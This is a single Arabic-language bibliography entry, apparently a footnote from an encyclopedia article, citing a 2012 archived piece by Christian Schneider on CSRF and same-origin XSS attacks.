  34. ↑ شنايدر، كريستيان. "هجمات تزوير الطلبات عبر المواقع (CSRF) وهجمات XSS من نفس المصدر" . مؤرشف من الأصل بتاريخ 14 أغسطس 2012. تم الاطلاع عليه بتاريخ 21 أبريل 2012 .